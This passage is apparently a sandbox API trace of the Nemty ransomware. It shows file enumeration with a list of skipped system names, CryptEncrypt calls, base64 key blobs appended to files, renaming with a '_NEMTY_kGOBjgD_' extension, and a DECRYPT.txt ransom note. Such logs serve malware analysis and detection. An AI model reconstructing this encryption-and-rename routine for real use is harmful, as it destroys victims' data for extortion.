pszString="Zi5CzpEBR7yzpRLXnERfSEO150dvCpOvlwQUmjOhwx/36uCFHrpRBjF5+S0gkEl7\r\n2FZfr3QKspvLuGOw4pCvb7nlJoJ1KyyuKE5zsKExVIlVDuVKlKukR1/CVjZ7n3fn\r\nqEQkl55BAwB5k4j2iDi0zG1UgNJ+W5YTvWi4ctbcYoDORw43oPa17VJF57nINEE8\r\noYC8PWhI/KRfMyPzEKajFmoTy5W/5kr1N5AyMFAjN7Cd7JMk/hwdzLWWErQBm8xf\r\nRDRAuN12q+1m6IFJUbu0UARj9gxeeB9tj3YcNL7uECOHBDKmtc6hojQBnWeKduq6\r\nF3tauV+d3nicMq2mmZCzFw==\r\n", pcchString=0x653ef9c) returned 1 [0049.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0049.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0049.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0049.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0049.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0049.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0049.092] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0049.092] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=819) returned 1 [0049.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x330) returned 0x6343fe8 [0049.092] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0049.092] ReadFile (in: hFile=0x3c8, lpBuffer=0x6343fe8, nNumberOfBytesToRead=0x330, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6343fe8*, lpNumberOfBytesRead=0x653f1e4*=0x330, lpOverlapped=0x0) returned 1 [0049.094] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0049.094] WriteFile (in: hFile=0x3c8, lpBuffer=0x6343fe8*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6343fe8*, lpNumberOfBytesWritten=0x653f1dc*=0x330, lpOverlapped=0x0) returned 1 [0049.094] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0049.094] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=819, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x333 [0049.094] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0049.094] CloseHandle (hObject=0x3c8) returned 1 [0049.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0049.095] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0049.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0049.095] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9edf8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0049.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0049.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0049.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94240 [0049.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0049.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0049.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0049.095] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml._nemty_kgobjgd_")) returned 1 [0049.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0049.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0049.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0049.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0049.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0049.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0049.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0049.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0049.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0049.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.096] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0049.096] lstrcmpiW (lpString1="Setup.xml", lpString2=".") returned 1 [0049.096] lstrcmpiW (lpString1="Setup.xml", lpString2="..") returned 1 [0049.096] lstrcmpiW (lpString1="Setup.xml", lpString2="...") returned 1 [0049.096] lstrcmpiW (lpString1="Setup.xml", lpString2="windows") returned -1 [0049.096] lstrcmpiW (lpString1="Setup.xml", lpString2="$RECYCLE.BIN") returned 1 [0049.096] lstrcmpiW (lpString1="Setup.xml", lpString2="rsa") returned 1 [0049.096] lstrcmpiW (lpString1="Setup.xml", lpString2="NTDETECT.COM") returned 1 [0049.096] lstrcmpiW (lpString1="Setup.xml", lpString2="ntldr") returned 1 [0049.096] lstrcmpiW (lpString1="Setup.xml", lpString2="MSDOS.SYS") returned 1 [0049.096] lstrcmpiW (lpString1="Setup.xml", lpString2="IO.SYS") returned 1 [0049.096] lstrcmpiW (lpString1="Setup.xml", lpString2="boot.ini") returned 1 [0049.096] lstrcmpiW (lpString1="Setup.xml", lpString2="boot.ini") returned 1 [0049.096] lstrcmpiW (lpString1="Setup.xml", lpString2="AUTOEXEC.BAT") returned 1 [0049.096] lstrcmpiW (lpString1="Setup.xml", lpString2="ntuser.dat") returned 1 [0049.096] lstrcmpiW (lpString1="Setup.xml", lpString2="desktop.ini") returned 1 [0049.096] lstrcmpiW (lpString1="Setup.xml", lpString2="CONFIG.SYS") returned 1 [0049.096] lstrcmpiW (lpString1="Setup.xml", lpString2="RECYCLER") returned 1 [0049.096] lstrcmpiW (lpString1="Setup.xml", lpString2="BOOTSECT.BAK") returned 1 [0049.096] lstrcmpiW (lpString1="Setup.xml", lpString2="bootmgr") returned 1 [0049.096] lstrcmpiW (lpString1="Setup.xml", lpString2="programdata") returned 1 [0049.096] lstrcmpiW (lpString1="Setup.xml", lpString2="appdata") returned 1 [0049.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.096] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0049.096] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f250, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0049.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0049.096] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0049.096] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f250, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0049.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0049.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.097] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0049.097] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f2a0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0049.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.097] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0049.097] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f2d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0049.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0049.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94380 | out: hHeap=0x4f90000) returned 1 [0049.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94240 [0049.097] Sleep (dwMilliseconds=0x5) [0049.106] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd0f8f570, dwHighDateTime=0x1d561e7)) [0049.106] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd0f8f570, dwHighDateTime=0x1d561e7)) [0049.106] GetLastError () returned 0x0 [0049.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0049.107] GetLastError () returned 0x0 [0049.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0049.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0049.107] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0049.107] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0049.107] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0049.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0049.107] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="5qgkvj6JOHz1NHMzJ1a1I61HnRlCpqHtC7qUCLtHOzFlj5Rgm7yBFYklIoPDndUP\r\nug3SeRVWfUefN3ZKlVQFHhLtQe8UdXjb3t83VflMSeOcrRAtxOp5st8176CGLQ7I\r\nT+A3IGF07KakUSqNZfuc1RqPRGs0SmaZwiv4kH22lM8/tZ88UZLDNGa1kIntn0Eu\r\nYxdt9mIXwN/QV7qA5lbaTOpLL6pepdvRvuLgYtwpyzxm8q/+Zc+IPYJdYv6i1ddC\r\noMnwgaadH7eNVIc0Rmn+CyK7C2SoVpEcvMgKtNhAOQOqpx8glg7bNAAh/xJxl+ro\r\nA7pvUXec9J122NdzPFAAhw==\r\n", pcchString=0x653ef9c) returned 1 [0049.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0049.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0049.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0049.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0049.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0049.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0049.107] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0049.107] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=2624) returned 1 [0049.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa40) returned 0x6346d48 [0049.107] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0049.107] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0xa40, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0xa40, lpOverlapped=0x0) returned 1 [0049.109] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0049.109] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xa40, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0xa40, lpOverlapped=0x0) returned 1 [0049.109] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0049.109] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=2624, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa40 [0049.109] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0049.109] CloseHandle (hObject=0x3c8) returned 1 [0049.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0049.110] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0049.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0049.110] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0049.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0049.110] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0049.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942e8 [0049.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0049.110] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e8 | out: hHeap=0x4f90000) returned 1 [0049.110] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0049.110] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml._nemty_kgobjgd_")) returned 1 [0049.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0049.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0049.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0049.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0049.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0049.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0049.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0049.111] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd0d540d0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xd0d540d0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd0d540d0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0049.111] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0049.111] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0049.111] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0049.111] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0049.111] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0049.111] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0049.111] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0049.111] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0049.111] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0049.111] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0049.111] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0049.111] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0049.111] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0049.111] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0049.111] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0049.111] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0049.111] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0049.111] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0049.111] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0049.111] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0049.111] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0049.111] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0049.112] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0049.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.112] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0049.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0049.112] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0049.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.112] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0049.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0049.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0049.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0049.112] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0049.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.112] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0049.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0049.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0049.112] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 